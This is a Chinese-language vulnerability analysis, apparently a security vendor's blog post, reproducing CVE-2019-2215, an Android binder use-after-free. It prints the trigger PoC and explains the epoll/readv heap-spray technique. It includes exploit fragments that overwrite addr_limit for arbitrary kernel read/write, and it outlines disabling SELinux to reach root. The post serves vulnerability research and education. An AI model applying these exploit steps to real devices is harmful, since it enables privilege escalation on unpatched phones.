乾貨 | CVE-2019-2215 Anroid 10復現及原理

2021-03-02 趨勢科技中國研發中心

受影響機型:

Some of the devices which appear to be vulnerable based on source code review are:

1)  Pixel 2 with Android 9 and Android 10 preview

2)  Huawei P20

3)  Xiaomi Redmi 5A

4)  Xiaomi Redmi Note 5

5)  Xiaomi A1

6)  A3

7)  Moto Z3

8)  Oreo LG phones (run according to )

9)  Samsung S7, S8, S9

10) Kernel 3.4.x and 3.18.x on Samsung Devices using Samsung Android and LineageOS

11) It works on Pixel 1 and 2, but not Pixel 3 and 3a.

12) It was patched in the Linux kernel >= 4.14 without a CVE

13) accessible from inside the Chrome sandbox.

根據https://bugs.chromium.org/p/project-zero/issues/detail?id=1942公開的poc拿到了拿到了任意內核讀寫權限。後續的文章https://hernan.de/blog/2019/10/15/tailoring-cve-2019-2215-to-achieve-root/,這個漏洞比較好用,並且公開的漏洞中能夠root最新的機器。

基於原始的poc代碼任意地址寫的基礎上在patch kernel繞過了一些緩解機制所做的完整的工作,但拿到任意地址寫的的原理的過程並未開篇陳述,基於此,筆者開始著手復現並闡述這裡面的實現原理以及漏洞利用的方法。

#include <fcntl.h>
#include <sys/epoll.h>
#include <sys/ioctl.h>
#include <unistd.h>

#define BINDER_THREAD_EXIT 0x40046208ul

int main()
{
 int fd, epfd;
 struct epoll_event event = { .events = EPOLLIN };
 fd = open("/dev/binder", O_RDONLY);
 epfd = epoll_create(1000);
 epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);
 ioctl(fd, BINDER_THREAD_EXIT, NULL);
}

官方描述如下:

As described in the upstream commit:
「binder_poll() passes the thread->wait waitqueue that
can be slept on for work. When a thread that uses
epoll explicitly exits using BINDER_THREAD_EXIT,
the waitqueue is freed, but it is never removed
from the corresponding epoll data structure. When
the process subsequently exits, the epoll cleanup
code tries to access the waitlist, which results in
a use-after-free.」

也就是binder_thread->waitqueue,這個鍊表中連接了epoll data結構,但當調用了BINDER_THREAD_EXIT對應的方法,就會導致binder_thread被釋放,當程序結束的時候,epoll相應的結構就會遍歷到此成員,造成uaf。

對應的poc步驟為:

1.open(「/dev/binder」),會創建binder_thread

2.epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);初始化binder_thread->wait_queue_head_t, 調用add_wait_queue插入wait_queue_t到binder_thread.wait中,

3.ioctl(fd, BINDER_THREAD_EXIT, NULL); 釋放binder_thread結構體

4.程序結束的時候,會遍歷這個鍊表中,觸發uaf

5.此外,如果調用epoll_ctl(epfd, EPOLL_CTL_DEL, fd,event)也會遍歷到這個鍊表中。

a)調用remove_wait_queue,然後刪除wait_queue_t,會遍歷到binder_thread->wait成員(wait_queue_head_t)這樣可以跟4是一樣的效果。

從而poc也可以為

了解epoll:

epoll是select和poll的升級版,應用程式中調用 select() 和 poll() 函數, 使進程進入睡眠之前,內核先檢查設備驅動程序上有無對應事件的狀態,此時可通過查看 poll() 函數的返回值,能夠在返回值上使用的宏變量有以下組合:
POLLIN, POLLPRI, POLLOUT, POLLERR, POLLHUP, POLLNVAL,  POLLRDNORM,  POLLRDBAND,  POLLWRNORM,  POLLWRBAND, POLLMSG,  POLLREMOVE 
這些值中使用最多的是下面幾個組合:

·POLLIN | POLLRDNORM 表示可讀

·POLLOUT | POLLWRNORM 表示可寫 POLLERR 表示出錯

1、epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);會調用binder_poll函數

2、/dev/binder綁定了一些系統調用,並且實現了binder_poll,binder_poll中對binder_thread.wait進行了初始化,並調用add_wait_queue

3、epoll_ctl(epfd, EPOLL_CTL_DEL, fd, &event);函數相對比較簡單,會調用remove_wait_queue

binder設備實現的函數

/dev/binder, 會有binder_poll這個調用.

binder_poll 調用核心的函數為poll_wait

open(「/dev/binder」)進入內核會調用binder_open分配binder_proc結構體,

epoll_create會調用ep_alloc,對成員進行初始化

epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event); 會調用ep_insertàbinder_poll函數,binder_poll函數會獲取binder_thread結構,然後調用poll_wait. poll_wait()會調用epq.pt.qproc所對應的回調函數ep_ptable_queue_proc,執行add_wait_queue操作

設置pwq->wait的成員變量func喚醒回調函數為ep_poll_callback;並將ep_poll_callback放入等待隊列wheadep_poll_callback函數核心功能是將被目標fd的就緒事件到來時,將fd對應的epitem實例添加到就緒隊列。當應用調用epoll_wait()時,內核會將就緒隊列中的事件報告給應用。也就是ep_insert會調用到ep_item_poll->binder_poll->poll_wait

binder_poll 調用核心的函數為poll_wait

主要結構體的初始化都發生在ep_insert->binder_poll中

poll_wait的第一個參數為binder的fd, 第二個參數為binder_thread的wait成員

struct binder_thread {

    wait_queue_head_t wait;

;;;;;;;;;;

}

struct __wait_queue_head {

    spinlock_t      lock;

    struct list_head    task_list;

};

struct __wait_queue {

    unsigned int        flags;

    void            *private;

    wait_queue_func_t   func;

    struct list_head    task_list;

};

而這個wait head成員是在binder_poll->binder_get_thread中調用init_waitqueue_head初始化的,init_waitqueue_head(&thread->wait);

在這個鍊表中,有兩種數據結構:等待隊列頭(wait_queue_head_t)和等待隊列項(wait_queue_t)。等待隊列頭和等待隊列項中都包含一個list_head類型,由於我們只需要對隊列進行添加和刪除操作,並不會修改其中的對象(等待隊列項)一開始它是INIT_LIST_HEAD(&q->task_list); next,prev指針分別指向自己。

當初始化時

既然是binder_thread結構體的釋放,並且是uaf,就會離不開堆噴,這裡採用的機制是Time of check time of use readv和writev內部會調用kmalloc分配空間,內部採用分散讀(scatter read)和集合寫(gather write),內核都會調用到do_loop_readv_writev函數

可以參考retme的https://speakerdeck.com/retme7/the-art-of-exploiting-unconventional-use-after-free-bugs-in-android-kernel

ssize_t readv(int fd, const struct iovec *iov, int iovcnt);

 ssize_t writev(int fd, const struct iovec *iov, int iovcnt);

也會再開始調用rw_copy_check_uvector,其源碼如下:

調用kmalloc分配大小,然後根據iov_base依次進行寫入或者讀取iov_len長度的內容。

struct iovec

{

     void __user *iov_base;    /* BSD uses caddr_t (1003.1g requires void *) */

     __kernel_size_t iov_len; /* Must be size_t (1003.1g) */

};

關鍵要理解的是隨著readv和writev調用kmalloc分配完相應的對象,並對之前free掉的object進行佔位時,會等待write和read的調用,中間會有一個時機是觸發漏洞的時機,以方便對iov_base的修改。

從這裡開始分析如何從poc轉變為kernel的任意地址讀寫,至於任意讀寫之後到拿到root部分因為網絡資料較多,暫不分析。

所使用的手機環境為pixel 2, linux內核版本tag為4.4.116-gbcd0ecccd040

作者的exp可以分為兩次的觸發漏洞:

1.  觸發漏洞,通過創建pipe,writev(堆噴)和read配合使用,洩露task_struct地址

2.  觸發漏洞, 創建socket,readv(堆噴)和write配合使用,實現patch addr_limit內核變量,打開任意內核地址讀寫

注意這兩步都會重新觸發漏洞,每一步兩個函數的之間的調用是有時間差的,並且都會等待下一個函數的開始調用,比如writev會等待read的調用,否則一直阻塞,所以會fork子進程之前會有sleep的動作,以保證執行的先後順序,fd(文件描述符)之間可以父子進程共享。

先看第一步:leak_task_struct,觀察step1-6(按時間先後順序)的運行,放大圖片來觀看

這裡簡單總結下:

1.EPOLL_CTL_ADD會調用add_wait_queue;2.BINDER_THREAD_EXIT釋放binder_thread;3.調用writev堆噴大小一樣的binder_thread結構體;4.調用EPOLL_CTL_DEL即remove_wait_queue對鍊表進程刪除,會造成iov_base的修改;5.然後調用read,繞過內核的檢查,讀取iov_base的內容,即造成內核地址數據的洩露。

這裡詳細分析一下鍊表操作造成地址的修改:

1.  初始化binder_thread->wait

wait_queue_head_t *q

INIT_LIST_HEAD(&q->task_list);

static inline void INIT_LIST_HEAD(struct list_head *list)

{

    list->next = list;

    list->prev = list;

}

next和prev指針都指向它自己

2.  add_wait_queue

當調用一次add_wait_queue增加wait_queue_t

通過readv進程堆噴,這時候已經檢查過iov_base,沒有數據,會一直阻塞,這時候會等待write的到來,然而中間的某個時刻會觸發漏洞改變iov_base為kernel address,然後進行write,可以往kernel_address寫入內容,實現內核地址寫,這種方式擴大了一些苛刻場景的漏洞利用。

當epoll_ctl(epfd, EPOLL_CTL_DEL, binder_fd, &event);調用完畢,

iovec_array[IOVEC_INDX_FOR_WQ].iov_base = dummy_page_4g_aligned;

    iovec_array[IOVEC_INDX_FOR_WQ].iov_len = 1;

    iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_base = (void *)0xDEADBEEF;

iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_len = 0x8 + 2 * 0x10;  iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_base = (void *)0xBEEFDEAD;

iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_len = 8;

這些值將被覆蓋:

iovec_array[IOVEC_INDX_FOR_WQ].iov_len = &(binder_thread->wait+8)                 iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_base =&(binder_thread->wait+8)

這時候write調用開始連續寫入iov_base.

  unsigned long second_write_chunk[] = {

    1, /* iov_len */

    0xdeadbeef, /* iov_base (already used) */

    0x8 + 2 * 0x10, /* iov_len (already used) */

    current_ptr + 0x8, /* next iov_base (addr_limit) */

    8, /* next iov_len (sizeof(addr_limit)) */

    0xfffffffffffffffe /* value to write */

  };

因為在//step 2 write(socks[1], "X", 1) 已經提前寫入長度為1的值,所以對iov_len的修改後期並沒有起作用,否則將會拷貝iovec_array[IOVEC_INDX_FOR_WQ].iov_len = &(binder_thread->wait+8) 長度的數據到dummy_page_4g_aligned。

然後step 5中write(socks[1],second_write_chunk,sizeof(second_write_chunk))開始對iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_base =&(binder_thread->wait+8)這個地址進行寫入,長度為0x8 + 2 * 0x10

這時候binder_thread的內部數據發生變化:

binder_thread.wait.task_list.next = 1 //iov_len

binder_thread.wait.task_list.prev = 0xdeadbeef //base

binder_thread.x1 = 0x8 + 2 * 0x10  //len

binder_thread.x2 = current_ptr + 0x8//base

binder_thread.x3 = 8

這時候繼續進行執行程序:

 iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_base = (void *)0xBEEFDEAD;

  iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_len = 8;

因為這iovec_array是堆噴的數據,它其實相當於binder_thread.x2的內容,已經由0xBEEFDEAD修改成current_prt+0x8了,這時候second_chunk只剩下最後一個值0xfffffffffffffffe,然後繼續write(fd,current_prt+0x8, 0xfffffffffffffffe),達到patch addr_limit,從而實現任意內核寫,拿到root:

這裡需要注意的是:int recvmsg_result = recvmsg(socks[0], &msg, MSG_WAITALL); MSG_WAITALL的標誌起到了等待write調用的完成,也就是一直會等待下去。

通過任意地址寫,patch task_struct的一些內核變量,達到uid=0的效果,這裡寫入sid會被阻塞,可能被seilnux禁止,應當先將selinux_enforcing內核變量設置0繞過selinux,然後拿到真正的root。

在pixel 2機器復現了:Android 9系統嘗試獲取root

1.崩潰地方在spin_lock_irqsave(&q->lock,flags),

2.readv和write調用,會將所有的內容寫入dummy_page_4g_aligned中,可能內核read和write實現的機制不同,但這部分還未分析。

Printk不可見的原因:

diff --git a/lib/vsprintf.c b/lib/vsprintf.c

index 0a51559..279d5ff 100644

--- a/lib/vsprintf.c

+++ b/lib/vsprintf.c

@@ -1514,7 +1514,7 @@ char *pointer(const char *fmt, char *buf, char *end, void

                case 3: /* restrict all non-extensioned %p and %pK */

                case 4: /* restrict all non-extensioned %p, %pK, %pa*, %p[rR] */

                default:

-                       ptr = NULL;

+                       //ptr = NULL;

                        break;

                }

                break;

或者echo 0>/prcoc/sys/kernel/kptr_restrict也可以

dmsg或者cat /proc/kmsg log列印不友好或者斷斷續續,可以cat /dev/kmsg

分別在add_wait_queue,remove_wait_queue和binder_free_thread函數插入前後的log並以進程名字為過濾,指針有可能會被其他的值覆蓋,所以最好不要用%p,否則內核會崩潰在自己寫的log上。

此次漏洞由syzcaller產生,主要在於設備實現了binder_poll函數,binder_poll函數內部使用了binder_thread結構成員,但未考慮binder_thread結構如果已經釋放的情況下,epoll機制仍然使用其中的成員,導致的uaf,其patch在釋放binder_thread結構提前會對epoll上的鍊表進行清理,其漏洞利用特點來看,是tocttou的升級利用,衍生出了某些條件下可以遇到uaf,或者heap overflow這類漏洞實現信息洩露和繞過kalsr的有效機制。

在free binder_thread的時候會對wait_queue_head進行處理,置0

在ep_poll_callback中:

References:

crash:

https://bugs.chromium.org/p/project-zero/issues/attachmentText?aid=414028

issue:

https://bugs.chromium.org/p/project-zero/issues/detail?id=1942

poc: 

https://bugs.chromium.org/p/project-zero/issues/attachmentText?aid=414030

https://bugs.chromium.org/p/project-zero/issues/attachmentText?aid=414885

patch:

https://elixir.bootlin.com/linux/latest/ident/POLLFREE

https://pacsec.jp/psj17/PSJ2017_DiShen_Pacsec_FINAL.pdf

https://github.com/externalist/exploit_playground/blob/master/CVE-2016-2434/exploit_CVE-2016-2434_commented.c

https://www.google.com.hk/url?sa=t&rct=j&q=&esrc=s&source=web&cd=5&ved=2ahUKEwit3fb2zLHlAhWNF6YKHX_DC1UQFjAEegQIAhAB&url=https%3A%2F%2Fsecurityaffairs.co%2Fwordpress%2F92633%2Fhacking%2Fcve-2019-2215-zero-day-exploit.html&usg=AOvVaw2ItkF7ngwGi8z6SfNtHj3x

epoll的簡單描述:

https://www.cppfans.org/1418.html

相關焦點

  • CVE-2019-2215復現及分析
    本文為看雪論壇精華文章看雪論壇作者ID:LowRebSwrdPixel 2 with Android 9 and Android 10
  • CVE-2019-10392:Jenkins Git client插件RCE復現
    收錄於話題 #漏洞復現文章合集下載漏洞版本的插件(推薦安裝的都是官網的最新版本)git客戶端:http://updates.jenkins-ci.org/download/plugins/
  • MS14-068及CVE-2020-1472復現
    0x00 Preface 簡單復現兩個攻擊域控的實驗,另外附加自己的一點點總結背景:Kerberos認證流程中第一階段的AS-REQ階段,會協商是否進行PAC驗證。PAC認證相關報文包含兩個信息:一個是用戶sid,一個是用戶所在的組。
  • Edge CVE-2017-0234 漏洞復現與利用
    綜上,將next設置為view1+0x28,則left就是buffer1地址的低4位元組,並且數組成員起始區域是view1+0x28+0x18,剛好是view2對象的地址uint32[0]=arr1[0xc00];index=uint32[0];for(var i=0;i<0x10
  • CVE-2017-11882復現及防禦
    復現過程實驗環境:win7 + office2007 win xp + office2003在復現過程中,察覺到是使用 hta 進行命令執行利用,推測攻擊機作為 hta_server,然後嘗試在 msf 搜索 hta,發現一個模塊的實現效果跟 PS_shell 一樣,接下來開始演示一下:
  • CVE-2020-14882&14883weblogic未授權命令執行漏洞復現
    14.1.1.0.0環境搭建此處利用vulhub的環境進行復現,新建docker-compose.ymlversion: '2'services:weblogic:image: vulhub/weblogic
  • D-Link 路由器漏洞復現(CVE-2019-20215)
    前言本來是打算來挖它的,去搜索它以往爆出的漏洞,就先復現玩玩了,這次用了三種方法來驗證,分別為用戶級模擬,系統級模擬,真機CVE-2019-20215漏洞描述根據漏洞描述可以獲得到的信息:漏洞點為/htdocs/cgibin中的ssdpcgi()函數固件獲取
  • 技術乾貨 | AlphaFold/ RoseTTAFold開源復現(1)—推理復現
    最近AlphaFold開源,比較火,項目組也嘗試進行復現,有些經驗給大家分享一下,包括推理復現、訓練復現、分布式訓練復現等,今天先介紹一下推理的復現
  • SUMAP網絡空間測繪|2021年CVE漏洞趨勢安全分析報告
    圖 :cve 10年增長趨勢 通過圖1-1整體趨勢我們可以看出歷年漏洞數量整體還是持續增長,並且在10年中最明顯的變化2020年的cve數量已經超過2010年數量的5倍多。
  • log4Shell核彈級漏洞復現&Ladon批量檢測
    漏洞原理Apache Log4j2 中存在JNDI注入漏洞,當程序將用戶輸入的數據進行日誌記錄時,即可觸發此漏洞,成功利用此漏洞可以在目標伺服器上執行任意代碼。https://access.redhat.com/security/cve/cve-2021-4Jenkins Although Jenkins Core is not affected by default, plug-ins installed in Jenkins can use the vulnerable version of Log4J.
  • 路由器漏洞復現:從原理到第一步驗證
    hello大家好,我是安全客小安,今天給大家帶來來自desword的原創文章,本文以路由器漏洞D-Link DIR-505為例,介紹如何在本地虛擬機中完成漏洞復現
  • Python遠程代碼執行漏洞(CVE-2021-3177)
    0-3.6.13、3.7.0-3.7.10、3.8.0-3.8.8、3.9.0-3.9.2的python/cpython包通過使用名為parameter cloaking的向量,容易受到通過urllib.parse.parse_qsl和urllib.parse.parse_qs的Web緩存中毒。
  • 復現造句和解釋_復現的例句有哪些-小孩子點讀
    復現(fù xiàn)。 復現參考例句: 1、實現標題預示性的手段是段落、主題句和微主題復現。 2、難得露面的白鰭豚,無翼夜行的幾維鳥,絕跡復現的泰卡雞,渾身清香的樹袋熊。
  • 2215人!2019上海綜評名單發布,完成招生98.58%,實際錄取率62.31%
    近日,上海綜合評價錄取名單正式公布,總共錄取2215人,原計劃數為2247人,計劃數完成比例98.58%。綜合評價簡單來說是按照綜評總分來錄取,綜評總分=高考成績(60%)+面試成績(30%)+高中學業水平成績(10%)(註:清華北大計算方式有所不同)。作為全國頂級名校主要的錄取方式(其中復旦交大約90%上海生源通過綜合評價錄取),其重要性不言而喻。讓我們來看看這份名單!
  • CVE-Flow:1999-2020年CVE數據分析
    安全繞不開漏洞,漏洞繞不開CVE(通用漏洞披露),CVE可以看成漏洞的美標,1999年由MITRE公司提出,現流行的ATT&CK也是由MITRE提出。MITRE上的CVE數據會被及時同步到NVD(美國國家漏洞庫),NVD又是由NIST(美國國家標準技術研究所)於2005年支持創建的。
  • 【法檢】報名2215人!繳費人數975人!
    2020重慶法檢考試報名人數統計前四天報名總人數僅有2215
  • NO.6 小作文真題復現 | 2015年英語(二)招募通知
    Do not write your address. (10 points)和2015年考研英語(一)的小作文一樣,這也是一篇「回鍋肉」。早在2010年,考研英語(一)的小作文就考查了一篇通知 (notice),當時那篇小作文難倒了不少考生。五年之後,「通知」再次出現,只不過換成了考生更為熟悉的主題,審題和寫作難度都不及當年。
  • DALL·E才發布兩天就被復現?官方論文還沒出,大神們就在自製代碼和...
    蕭簫 發自 凹非寺量子位 報導 | 公眾號 QbitAI沒想到,OpenAI剛公布DALL·E,就已經有人在復現了。論文還沒出,就開始復現了論文復現的依據,來自一位叫做Yannic Kilcher的博主製作的油管視頻。他在視頻中,對DALL·E的原理結構進行了猜測。
  • cve-2015-6620學習總結
    想學習下 Android漏洞方面的知識,搜了下發現Flanker Edward在知乎上有個回答,提到了binder的經典漏洞cve
  • 最新 | 法檢報名2215人!六個崗位無人報考
    2020重慶法檢考試報名人數統計前四天報名總人數僅有2215